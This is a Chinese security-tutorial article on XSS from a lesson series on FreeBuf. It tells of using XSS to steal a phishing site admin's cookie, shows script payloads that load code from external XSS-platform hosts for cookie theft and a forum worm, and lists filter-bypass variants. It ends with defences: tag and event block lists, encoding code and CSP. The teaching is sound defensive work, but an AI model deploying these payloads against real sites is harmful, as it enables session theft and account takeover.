freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

米桃安全漏洞讲堂系列第2期:XSS跨站脚本攻击漏洞
赛博米桃 2024-02-03 18:40:26 233725

一、一次钓鱼攻击引发的反制

某日,安全团队收到监控预警,有外部人员使用钓鱼邮件对公司内部人员进行信息诈骗。安全团队立即开始分析事件进程。
攻击者以劳动补贴名义群发邮件,诱导内部员工扫描二维码,进而填写个人信息、银行卡等敏感内容。
image
安全团队立即开始对邮件进行溯源。
首先,扫描该二维码,跳转到钓鱼邮件域名为
https://4z3ichiecr.512kasmdkasijdiashdjdfdfpewkpxxxxxxxxxx.cn/okok168
ip地址为:
150.129.123.123(香港服务器)
image
经测试,该钓鱼邮件页面中前端页面存在跨站脚本攻击漏洞,利用该漏洞,安全团队进行反钓鱼试验。等待钓鱼平台管理人员上线。
经过一天的等待,终于有了突破,钓鱼平台人员上线,我方通过预埋的跨站脚本攻击漏洞获取了网站后台管理员账号cookie信息。顺利登录该后端平台。
image
登录后确认该平台为攻击来源,确认受害者信息、范围、金额,并锁定后台人员登录ip、身份等信息。完成溯源工作。为后续法律方面推进工作提供了有利支持。
上述钓鱼反制的关键角色,就是本文要讲述的主角:跨站脚本攻击漏洞

二、跨站脚本攻击漏洞原理(XSS)

2.1 漏洞原理

跨站脚本攻击(Cross Site Scripting,以下简称XSS)。
本应缩写为CSS,但由于CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。
XSS(跨站脚本攻击)是指攻击者在网页中嵌入客户端脚本(如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。

2.2 漏洞类型分类

XSS漏洞可分为三类。

  • 反射型XSS
    跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码一般不存储到服务端。
  • 存储型XSS
    这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)。用户每次访问相应的页面,客户端均会执行一次XSS攻击语句。属于危害较严重的漏洞。
  • DOM型XSS
    —种基于DOM的跨站,这是客户端脚本自身解析不正确导致的安全问题。DOM XSS 是由于浏览器解析机制导致的漏洞,服务器不参与,而存储型与反射型都需要服务器响应参与。

2.3 漏洞危害

XSS漏洞的危害不仅局限于弹窗这种骚扰方式,按危害发生位置来划分,可分为客户端、服务端两类。总结如下,

客户端危害:
  • 窃取cookie(包括ip、ua等)
  • 自动转发邮件
  • 放马(webshell)
  • 刷流量
服务端危害:
  • 劫持后台
  • 篡改页面
  • 蠕虫传播
  • 内网扫描

image

通过以下两个例子,说明XSS的危害性。

2.4 XSS漏洞案例

案例一、使用XSS漏洞成功登录某后台系统

某业务系统,机器人客服对话功能中,允许攻击者输入XSS攻击代码,如<sCRiPt/SrC=//xssxss.com/zLko>

image

系统后端管理人员,只要查看攻击者提交的对话内容,系统会自动执行xss攻击语句,获取事先定制的管理用户数据。
通过XSS后端打码平台(下文详述),获取后台用户cookie数据。效果如下。
image
攻击者可通过获取的cookie数据,以后台用户的身份成功登录系统后台并进行操作。
image

案例二、利用XSS组合漏洞对论坛进行蠕虫传播

  • 1、论坛发帖处,发现存储型XSS漏洞
    论坛发帖处,观察到可以大小写混淆绕过,于是构造payload(对于屏蔽括号的可以用 ’ 来代替)。
<sCript>alert`xss`</sCript>

image

可弹窗。
image

  • 2、XSS漏洞配合CSRF漏洞,实现自动发帖子
    CSRF(跨站请求伪造,后续系列文章中详述),是指通过伪装来自受信任用户的请求来利用受信任的网站。发帖处也存在该漏洞。构造发帖js,如下:
    image
    然后利用XSS平台重新重新构造访问该js的攻击语句)。
<sCRiPt/SrV=//60.wf/ORxV>

image
普通用户浏览存在攻击语句的帖子,即会自动进行发帖。
以下为存在危害的帖子,普通用户完成浏览。

image
查看普通用户的发帖记录。已成功自动发帖。
image

  • 3、构建子帖结构,形成蠕虫攻击
    上述两步完成了自动发帖,要形成蠕虫攻击效果,只需要将子帖内容403重定向至母帖(最初攻击帖),访问母帖后自动创建新帖,子帖再转回母帖,完成攻击。
    关键payload:
<embed/src=/xxxxxx.com/web/normal/topic/806440>

image
image

三、检测方法

3.1 基础XSS弹窗检测

跨站脚本攻击XSS,应在信息系统建设阶段重点测试及修复。

漏洞检测需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用BurpSuite等抓包工具来获取请求后手工修改请求参数,然后重新提交到服务端来测试,因为XSS并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。

具体的测试对象可包括:页面输入处、url参数和http请求中的跨站脚本漏洞。
最常见的跨站脚本的方法,输入<Script>alert(1)</script>以及它的各种变体:

<script>alert(document.cookie)</script>
<script>alert(1)</script>
<ScRipt>alert(1)</script> 
%3Cscript%3Ealert(1)%3C/script%3E
<script x=1>alert(1)</script x=1>
<script>confirm(1)</script>
<svg/onload=alert`1`>
"--><Svg/Onload=alert(1)>
 '";alert(1);x="'
<img src=alert(1)>
<sc<script>ript>alert(/1/)</script> 
<javascript:alert(1)>;

变体XSS攻击语句,主要是针对服务端防护不全的场景。绕过XSS防护的方式包括:

1、html标签、JavaScript事件尝试;
2、大小写绕过,如<ScRiPt>
3、主动闭合标签实现注入代码 
4、混淆,如<<script>
5、特殊字符转义Unicode或ascii、base64等的方式

例如,提交XSS攻击语句<script>alert(document.cookie)</script>后,页面弹出警告框,则该页面存在XSS漏洞。如下:
image

存储型跨站脚本攻击测试方法与反射型类似,区别在于存储型跨站脚本攻击的检测内容主要是Web应用程序向用户提供的可添加新内容并持久存储的Web表单。通过对每个可能存在攻击点的Web表单插入攻击字符串,进行检测。

3.2 XSS进阶利用——XSS打码平台

对于有经验的攻击者,通常使用XSS打码平台实施攻击。XSS平台,通常可以记录访问的url,访问时的cookie等。稍微复杂的功能,可能还会记录键盘输入,获取页面源码,截取网页屏幕等。
相应的功能可在平台进行定制,例如,

image
勾选相应模块后,系统会自动生成各种类型的攻击语句(结合上述绕过思路)。
image
攻击者将相应的语句嵌入被攻击平台,静等后台受害者上线即可。以下为攻击者成功获取用户信息的界面。
image

3.3 自动化漏洞检测方案

除了手工测试外,企业也可采用自动化漏洞扫描方案。

  • DAST黑盒扫描。动态应用安全测试,黑盒测试。可输入扫描目标,配置登录信息后,启动扫描XSS漏洞。如Xray、AWVS等。
  • IAST扫描。交互式应用程序安全测试。可在测试阶段,由测试人员执行,工具被动系统XSS漏洞。
  • SAST扫描。源代码扫描。白盒工具。从源码层面扫描不规范的写法,提示XSS漏洞风险。

四、防御措施

企业作为信息平台提供方,如何防御跨站脚本漏洞,可以从XSS漏洞的攻击流程入手。
完整的XSS攻击流程包括五步。攻击者发现XSS漏洞——构造攻击代码,植入功能点——被害人主动或被动访问功能——前端(浏览器)执行代码——获取受害人信息如cookie
image
从攻击流程判断,平台方可以从XSS攻击语句的输入、输出阶段进行介入,打断攻击流程,完成攻击防御。

跨站脚本攻击漏洞防御总体思路可总结为:输入过滤,输出编码

4.1 输入过滤(过滤器、黑名单、白名单)

4.1.1 事件标签过滤

XSS攻击语句多为HTML、JavaScript事件标签。可通过过滤标签的方式,破坏攻击者构造的攻击语句。

  • 过滤HTML标签或转义特殊字符
如过滤<script>、<iframe>等,将“<”转义成“&lt;”、“>”转义成“&gt;”、“"”转义成“&quot;”、“&”转义 成“&amp;” 等。
  • 过滤JavaScript 事件的标签
如 "onclick=", "onfocus" 等。

总结常见HTML、JavaScript常见标签如下:

HTML5标签
<svg>
<audio>
<video>
<math>
<link>
<details>
<canvas>
<article>
<progress>
<command>
 
HTML4标签
<base>
<frameset>
<iframe>
<frame>
<body>
<object>
<script>
<style>
<img>
<div>
<li>
<embed>
<input>
<title>
<bgsound>
<h1>-<h6>
<hr>
<textarea>
<menu>
<a>
<p>
<em>
<span>
<strong>
<smail>
<label>

常见事件
onclick
onload
onmouseover
onerror
onfocus
onblur
onmouseout
onmousemove
onmousedown
onmouseup
ontoggle
4.1.2 特殊字符过滤

除了常见的HTML、JavaScript标签过滤。还可以对特殊字符进行过滤。一般建议过滤掉双引号(”)、尖括号(<、>)等特殊字符,或者对客户端提交的数据中包含的特殊字符进行实体转换,比如将双引号(”)转换成其实体形式",<对应的实体形式是<,<对应的实体形式是>。
以下为需过滤的常见字符

|(竖线符号)
&(&符号)
;(分号)
$(美元符号)
%(百分比符号)
@(at符号)
'(单引号)
"(引号)
\'(反斜杠转义单引号)
\"(反斜杠转义引号)
<>(尖括号)
()(括号)
+(加号)
CR(回车符,ASCII 0x0d)
LF(换行,ASCII 0x0a)
,(逗号)
\(反斜杠)
4.1.3 用户输入内容格式限制

另外,也可以对用户输入内容格式进行限制。对于用户输入的校验,要求最终落地在服务端,因为前端js限制可通过抓包等形式绕过。

  • 客户端限制。如限定输入字符类型、长度、正负数校验。
  • 服务端只接受用户输入期望的数据。 如,年龄的textbox中,只允许用户输入数字,而数字之外的字符均作过滤。

4.2 输出编码(转义)

上述输入过滤的方式,在用户输入阶段入手,存在被绕过的可能(参见第三章XSS绕过方法)。
防守方还可以从系统输出入手对系统输出到前端(浏览器)的语句作转义处理。用来确保输入的字符被视为数据,而不是作为html、js被浏览器所解析。转义比过滤更推荐

变量输出到不同环境,使用不同的输出编码,项目中较多的是输出到html实体(Html Encode)、输出到js中或从js输出到html实体中。

可以根据不同的输出域选择转义方法:

  • 可使用ESAPI或者common-langjar的 StringEscapeUtils类或者Spring的HtmlUtils来实现
  • ESAPI.encoder().encodeForHTML,HTML转义。就是将字符转换成HTMLEntities,一般会转(&、<、>、"、'、/)这6个字符。
  • ESAPLencoder().encodeForHTMLAttribute,HTML标签属性转义。
  • ESAPIencoder().encodeForlava Saript,JavaScript数据转义,是使用”\“对特殊字符进行转义。
  • ESAPI.encoder().encodeForURL,URL数据转义。

在请求返回页面关键字符进行特殊字符转义,总结如下:

< 转成 &lt;
> 转成 &gt;
& 转成 &amp;
" 转成 &quot;
' 转成 &#39
\ 转成 \\
/ 转成 \/
; 转成 ;(全角;)

综上,结合“输入过滤、输出编码”的整体原则,研发人员可参考如下XSS安全编码示例(XssSecureCodeSample.java)。

package com.security.securecodesample;
import org.junit.Assert;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;

public class XssSecureCodeSample extends TestCase {
	public static void XssFilterSample1(String toFilterString, String expectedResult) {
		boolean XSSFlag = false;
		String[] toFilters = { "<script", "<frameset", "<iframe", "<frame",
				"<body", "<object", "<style", "<img", "<div", "<li", "<embed",
				"<input", "<a", "<title", "<bgsound" };
		String temp = toFilterString.toLowerCase();
	    for (String s: toFilters) {
	    	if (temp.contains(s)) {
	    		XSSFlag = true;
	    		break;
	    	}
		}
	    if (XSSFlag) {
	    	String result = "illegal!";
	    	Assert.assertEquals(result, expectedResult);
	    }	
	    else {
	    	String result = "legal!";
	    	Assert.assertEquals(result, expectedResult);
	    }
	}
	
	public static void XssHtmlEncodeSample1(String toFilterString, String expectedResult) {
		String result = htmlEncode(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	public static void XssHtmlAttributeEncodeSample1(String toFilterString, String expectedResult) {
		String result = htmlAttributeEncode(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	public static void UrlEncodeSample1(String toFilterString, String expectedResult) {
		String result = urlEncode(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	public static void UnicodeEncodeSample1(String toFilterString, String expectedResult) {
		String result = javaScriptEncoding(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	public static void CSSEncodeSample1(String toFilterString, String expectedResult) {
		String result = CSSHexEncoding(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	/*
	 Convert & to &amp;
	 Convert < to &lt;
	 Convert > to &gt;
	 Convert " to &quot;
	 Convert ' to &#x27;
	 Convert / to &#x2F;
	 */
	public static String htmlEncode(String toFilterString) {
		StringBuffer sb = new StringBuffer();
		for(int i = 0 ; i < toFilterString.length() ; i ++) {
			char c = toFilterString.charAt(i);
			switch (c) {
				case '&': 
					sb.append("&amp;");
					break;
				case '<':
					sb.append("&lt;");
					break;
				case '>':
					sb.append("&gt;");
					break;
				case '"': 
					sb.append("&quot;");
					break;
				case '\'':
					sb.append("&#x27;");
					break;
				case '/':
					sb.append("&#x2F;");
					break;
				default:
					sb.append(c);					
			}
		}
		String result = sb.toString();
		//System.out.println(result);
		return result;
	}
	
	/*
	 * Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH;
	 * format, including spaces. (HH = Hex Value)
	 */
	public static String htmlAttributeEncode(String toFilterString) {
		String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
		StringBuffer sb = new StringBuffer();
		for(int i = 0 ; i < toFilterString.length() ; i ++) {
			char c = toFilterString.charAt(i);
			String cc = c + "";
			if (table.contains(cc)) {
				sb.append(c);	
			} else {
				sb.append("&#" + Integer.toHexString((int)c) + ";");
			}
			
		}
		String result = sb.toString();
		System.out.println(result);
		return result;
	}
		
	/*
	 * CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence.
	 * There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping
	 * possible by zero padding the value.
	 */
	public static String CSSHexEncoding(String s) {
		StringBuilder sb = new StringBuilder(s.length() * 3);
	    for (char c : s.toCharArray()) {
	        sb.append("\\");
	        sb.append(Character.forDigit((c >>> 20) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 16) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 12) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 8) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 4) & 0xf, 16));
	        sb.append(Character.forDigit((c) & 0xf, 16));
	    }
	    System.out.println(sb.toString());
	    return sb.toString();
	}
	
	public static String unicodeEncoding(String s) {
	    StringBuilder sb = new StringBuilder(s.length() * 3);
	    for (char c : s.toCharArray()) {
	        sb.append("\\u");
	        sb.append(Character.forDigit((c >>> 12) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 8) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 4) & 0xf, 16));
	        sb.append(Character.forDigit((c) & 0xf, 16));
	    }
	    //System.out.println(sb.toString());
	    return sb.toString();
	}
	
	public static String javaScriptEncoding(String toFilterString) {
		String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
		StringBuffer sb = new StringBuffer();
		for(int i = 0 ; i < toFilterString.length() ; i ++) {
			char c = toFilterString.charAt(i);
			String cc = c + "";
			if (table.contains(cc)) {
				sb.append(c);	
			} else {
				sb.append(unicodeEncoding(cc));
			}			
		}
		String result = sb.toString();
		System.out.println(result);
		return result;
	}
	
	public final static String[] encodeTable = new String[256];
	static{
	   for(int i = 0 ; i < 256 ; i++)
	   {
	       if(i >='0' && i <= '9' || i >= 'a' && i <= 'z' || i >= 'A' && i <= 'Z' || i == '-' || i == '_' || i == '.')
	       {
	           encodeTable[i] = (char)i + "";
	       }else
	       {
	           encodeTable[i] = "%" + String.format("%02x",i).toUpperCase();
	       }
	   }
	}

	/*
	 * URLEncode Except for alphanumeric characters, escape all characters with the \\uXXXX unicode escaping format (X = Integer).
	 */
	public static String urlEncode(final String sourceStr)
	{
	    final StringBuilder sb = new StringBuilder();
	    for(int i = 0 ; i < sourceStr.length() ; i++)
	    {
	        sb.append(encodeTable[(int)sourceStr.charAt(i) & 0xFF]);
	    }
	    return sb.toString();
	}
	
	public static Test suite() {
		return new TestSuite(XssSecureCodeSample.class);
	}
	
	public void testFilter1() {
		XssFilterSample1("<script>alert(123)</script>", "illegal!");
		XssFilterSample1("userdata", "legal!");
	}
	
	public void testEncode1() {
		XssHtmlEncodeSample1("<script>alert(123)</script>", "&lt;script&gt;alert(123)&lt;&#x2F;script&gt;");
		XssHtmlAttributeEncodeSample1("javascript:alert(123)", "javascript&#3a;alert&#28;123&#29;");
		UrlEncodeSample1("<sciprt>alert(123)</alert>", "%3Csciprt%3Ealert%28123%29%3C%2Falert%3E");
		UnicodeEncodeSample1("var a = 1;", "var\\u0020a\\u0020\\u003d\\u00201\\u003b");
		CSSEncodeSample1("back-ground:url", "\\000062\\000061\\000063\\00006b\\00002d\\000067\\000072\\00006f\\000075\\00006e\\000064\\00003a\\000075\\000072\\00006c");
	}
	
	public static void main(String[] args) {
		junit.textui.TestRunner.run(suite());
	}
}

4.3 浏览器前端XSS防护设置

除了上述从后端源码层面的XSS防护。还可以从浏览器(前端)层面进行相关安全配置,实现XSS防护。具体如下。

4.3.1 cookie增加HttpOnly属性(同源策略)

建议如果网站基于cookie而非服务器端的验证,建议加上HttpOnly,当然,目前这个属性还不属于任何一个标准,也不是所有的浏览器支持,设置cookie的代码:

response.setHeader("SET-COOKIE","user=" + request.getParameter("cookie") + "; HttpOnly");

本段代码设置了http only属性,攻击者无法通过Javascript 中的document.cookie语句获取用户Cookie信息。

4.3.2 设置X-XSS-Protection属性

该属性被所有的主流浏览器默认开启。X-XSS-Protection,即XSS保护属性,是设置在响应头中目的是用来防范XSS攻击的。在检查到XSS攻击时,停止渲染页面。

4.3.3 开启CSP网页安全策略

CSP是网页安全策略(Content Security Policy)的缩写。
开启策略后可以起到以下作用

  • 禁止加载外域代码,防止复杂的攻击逻辑;
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域;
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用);
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用);
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

五、总结展望

本文结合实际使用案例,简要讲述了跨站脚本攻击漏洞XSS的原理、危害、测试方法及防御措施
XSS漏洞形成的根本原因是,用户过分信任网站,放任来自浏览器地址栏代表的那个网站代码在自己本地任意执行。如果没有浏览器的安全机制限制,XSS代码可以在用户浏览器为所欲为。
对于XSS的防御,更多的是客户端侧的任务。故业界有人戏称"CSRF是服务端程序员的锅,XSS是客户端程序员的锅"。

系列往期链接

米桃安全漏洞讲堂系列第1期:SQL注入漏洞

# 漏洞 # 渗透测试 # 网络安全 # web安全 # 开发安全
本文为 赛博米桃 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
赛博米桃 LV.3
InformationSecurity\Mac\机械键盘\crossfit爱好者
  • 4 文章数
  • 10 关注者
米桃安全漏洞讲堂系列第4期:WebShell木马专题
2024-03-16
米桃安全漏洞讲堂系列第3期:任意文件上传漏洞
2024-02-05
米桃安全漏洞讲堂系列第1期:SQL注入漏洞
2024-01-31
文章目录